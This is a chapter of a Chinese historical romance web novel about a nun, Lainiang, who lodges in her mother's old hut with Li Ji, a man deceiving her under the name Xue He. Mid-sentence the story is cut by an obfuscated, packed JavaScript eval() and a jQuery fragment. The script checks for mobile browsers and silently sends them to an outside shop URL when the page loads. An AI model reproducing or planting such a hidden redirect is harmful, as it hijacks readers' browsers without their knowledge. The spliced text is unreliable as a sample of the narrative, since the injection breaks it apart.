元月十五……
莱娘虽有欣喜,但还是疑惑道:“那天不是正好上元节么?船家若不上工,都去城中赏灯了可怎么办?”
上元节是三山县中最热闹的日子,满城花灯,夜无宵禁,阖家老小上街游玩,好不热闹。
那也是莱娘最喜欢的日子。
哪怕年年只能从山顶观望,看着底下游龙般提灯行走的人群,好像也能将青灯伴身的寂寥暂且驱走。
如果可以,她真想带薛河一同去赏游,虽远不如长安,但如此人间烟火也很难得。
不过,为了往后的日子,也为了不让薛河为难,她愿意放下在这里留恋的一切,尽早远走。
莱娘想了想,对于找不着船家这事,办法也不是没有。
都说有钱能使鬼推磨,就算是命里带劫,还能靠多给几倍银钱,作法保平安呢,船资如何不能?
就是……
思及囊中羞涩的现状,她实在有些犯难。
这段日子购来的灵芜香几乎耗空了她攒的体己钱,加之已入深秋,草木凋敝,草药也采不到多少了,以至于自己连夹棉的禅袍都舍不得买。
李岌一眼看穿她在想些什么,只觉不屑,这穷酸禅姑果然什么钱两都要算计。
他心里冷笑,却嘴上安慰道:“不肯上工的事好说,我可去寻我那位长安的亲友解囊相助,不足为虑。”
莱娘听他一口应下,心想,人家才是正经要回乡的,自己毕竟是蹭船,不分担一部分船钱,好歹也该出点力,否则她良心如何过得去?
“可是,薛郎可知,每到年关,城中铺子都会涨价钱,这船资只怕花得冤枉,我可帮你去讲讲价——”
“就是这里吧。”李岌指着前方的一处草屋,打断了她。
“……是。”
几次三番被打断,莱娘有些说不出的尴尬,终是闭了嘴。
李岌不顾,仍旧一路信步往前。
面前正是小时候她与阿娘住过的那处草庐,屋子是隔壁赵阿伯家的。
因同为农户,种的地紧挨着,阿娘又帮过他们家大忙,草庐也就这么借住了。
阿娘来的当年,那赵老伯流年不利,种出来的一批江梅虽又大又漂亮,却愣是没有果子行要,险些生生烂在枝头,是阿娘热心给指了条路,让他贩给云水观。
起先赵阿伯还不信,说山上的禅姑哪会花钱买这些满足口腹欲,半信半疑问了观里的采办,竟真愿意包了他的果子,还要挑新鲜汁水多的定期送来。
后来方知,那梅子原是供给在观中借宿参禅的贵客们的。
云水观从前的禅食粗陋,因而一直不受青睐。后来有了这江梅熬的饮子,清甜甘醇,口味独特,竟把长安城中好些有头有脸的贵人都吸引来,人人争相一品其味。
赵阿伯做成了这桩生意,往后生计都不愁了,直夸阿娘是仙人下凡,神机妙算。
闲时,莱娘也将这奇事说与过薛河,薛河没有立时笑赞,而是别有深意问她,阿娘真的只是一介普通农女吗?
她当时不曾明白。
如今再回到这里,却生了探究的心思。
“薛郎,我先去同主家打声招呼,你且进去等我片刻。”
她见隔壁挨着的院落里依稀有光,便转身过去喊了两声。
柴扉之内,一个干瘦的身影从窗口伸长了脖子:“谁啊?”
“阿伯,是我,莱娘。”
屋里的老翁连忙披了件衣裳出来,远远分辨了一会,惊喜道:“丫头,真是你哩!怎么夜深了还下山?有什么事进去同你大娘和我说。”
赵阿伯是个热心肠的,快步拉着她就要往屋内去,莱娘虽十分想念他们,却仍要先做正事。
她摆摆手,郑重恳求道:“阿伯,从前我与我娘住的那处还空置着吗?可否借我住个月余,我实在无处可去了。”
赵阿伯被吓了一跳:“不是好好在山上吗,怎么,云水观那群狗眼看人低的要赶你走?!”
他骂完,又想到自己梅子的买卖还得靠观里,又尴尬拍了拍嘴。
莱娘如实说了。
赵阿伯听过,又是气得跳脚,又是对着她唉声叹气,憋了半晌才道:“丫头,你与你阿娘真是一个脾气,眼里容不得砂砾是好事,可在这世道,又不是好事。”
莱娘心里却有几分不服气,暗道,她长了多少岁,就容忍了多少年,难道这样都能算脾性火爆?
赵阿伯虽是个庄稼汉,但活到这把岁数,已然深谙世间的道理。
看着懵懂的莱娘,他悲哀地想:忍这个字,注定要刻进他们这种平民百姓骨头里一辈子,直带进棺材板的。忍一时没有任何用,反倒更招人害。
像这般干净刚直的孩子,又无人撑腰,往后只怕不知道会被磋磨成什么样。
他只能道:“你阿娘与我们提过几句,她从前就吃过这上面的苦头,从来没与你说,就是不想让你着了她的道。”
莱娘心里反而更酸涩了。
阿娘过去的事连赵阿伯都知道些,却分毫不肯告诉自己。
她低声道:“若真不想让我吃苦头,她怎么会把我扔下就走……”
“咳咳。”
静夜中传来一声男子清嗓的声音,是李岌等了许久,正关心她是否借来了住处。
莱娘想,他一向不愿在人前露面,生怕之前那帮劫匪闻声继续报复,既然如此,她还是该同赵阿伯他们保密才好。
“那是诚心帮我的——”她想了想,还是用了“恩公”一词代称。
“阿伯别担心,恩公他心地良善,不会害我,”莱娘飞快道,“只是他也有些难处,需我搭把手,这才投宿到这里,不会耽搁您俩太久的。”
“丫头,你这说的什么话?”赵阿伯嗔怪道,“阿伯不疑你,快去歇息吧,里头有你大娘经常收拾,都是干净的。”
莱娘道完谢,出了院落,果然李岌在不远处等着接她。
她心里品到了一丝隐秘的甜。
都道不要信人如何说,而要看人怎么做,薛河的点滴言行在她看来,是着实可靠的。
她愿意将希望交予他手。
二人共同推开草庐的门扉,借着隔壁一点微光,熟悉的陈设带着过往的气息,汹涌而来,压得人喘不过气。
她环顾四周,从床炕到桌凳、灶台,每个角落里好像都有阿娘或走或停的身影,旁边还跟着一个矮小的人儿,小人儿在千千万万个虚影里逐渐抽条、长高,最终重叠为自己孑然一身的倒影。
她扶着土墙,大口喘气。
对着几欲昏倒的莱娘,李岌第一次有了种异样的感情。
他本该暗自嘲她不堪一击,可这一刻,他真的笑不出来。
过去,父亲被废,自己被母妃抛下,远走涪州时,何尝不是同样的感受?
他明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766274|209703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道,现在就是这禅姑极度脆弱的时候,最适合趁虚而入,表演些虚情假意的把戏,让她更死心塌地。
可那些搜肠刮肚想出的虚假安慰,全都梗在了喉头。
莱娘也未向他求助。
她依旧在不正常地喘息,可却始终咬牙独自面对,独自缓解,像溺者挣扎自救般,直至呼吸逐渐平静,直至慢慢直起腰来。
一盏茶的功夫,除了眼圈的残红,一滴泪没掉,就恢复成与平日无异的模样。
他心中微动,这小禅姑远比他想得坚韧。
“无事,”莱娘云淡风轻,“让你见笑了。”
她指了指盖着被褥的炕床,就转过身:“烦薛郎在上头休息,我在底下铺些稻草凑合便可,实在是不想再回想起什么了。”
就算过了这么多年,她还是不愿睡在那里,生怕嗅到一丝一毫阿娘的味道,就会又像少时,哭喊着从梦中惊醒,发现枕头早已湿透。
李岌却一把拉回她。
膝伤作祟,莱娘直接失了平衡,一下跌入松软的被褥中。
天旋地转间,头顶李岌那双雾蒙蒙的眸子平静凝望着,里头涌动着她看不懂的暗流。
莱娘不禁有些恼恨,后悔自己常年居于山中,鲜少与人打交道,如今想要读人都读不懂。
李岌盯得直白,她却面皮薄,刚要避开视线,就听他沉沉道:“不要回避。”
莱娘赶忙把头又扭回来。
谁知李岌突然扑哧一声笑了出来:“不是让你别回避这个。”
她满头雾水,他却被她逗得越发朗声大笑,直至眼中都有了泪花。
她眼中的薛河笑过很多次,但从来只是浅浅一盈和煦的笑意,未曾有过这样的开怀之举。
就好像是一瞬间卸下了许多重担。
“那是不要什么?”她坐起来茫然道。
李岌渐收笑意,眼神却极为郑重:“过去的伤痛,不要回避。”
他坐到床沿同侧,看向她,也在透过她看向更久远的回忆:“用新的东西,去盖过那些伤痛,替换它们。”
他的眼神格外坚定。
“如果被人欺侮,那就回敬那些人,铭记他们因你痛苦的模样;如果被人抛弃过,那就找到她也抛弃她,告诉那个人,你同样不需要她。”
“如果不想回想起已经发生的,那就记住另一件刚发生的事,比如现在——”
莱娘看着他从袖笼中掏出几支断了的碎香,和一只火折子。
“灵芜香!”她惊喜道,“我还以为都落在猎屋了。”
自己给的东西有另一个人妥善收着,真好。
李岌笑了笑,点燃了其中一支,就地插在床炕边的缝隙中。
一股再熟悉不过的静谧的味道弥漫开来。
她曾经点过很多次,如今却好像变成了薛河的专属,以至于闻到,便觉一个温热的怀抱环住了自己,好生安心。
“睡吧。”
他拉着她再次倒了下来,嗓音低沉。
恰好这时,隔壁赵阿伯也吹熄了蜡烛,眼前重新陷入一片乌黑。
窸窸窣窣的衣料摩擦声被无限放大,身旁有了明显的塌陷,但灵芜香的气味盖过了一切,莱娘十分安然,也彻底抛开了戒心。
她的手被摸索着握住,指尖就搭在他的脉搏上,底下微微的跳动平稳而有力。
“就记住今晚,我与你同塌。”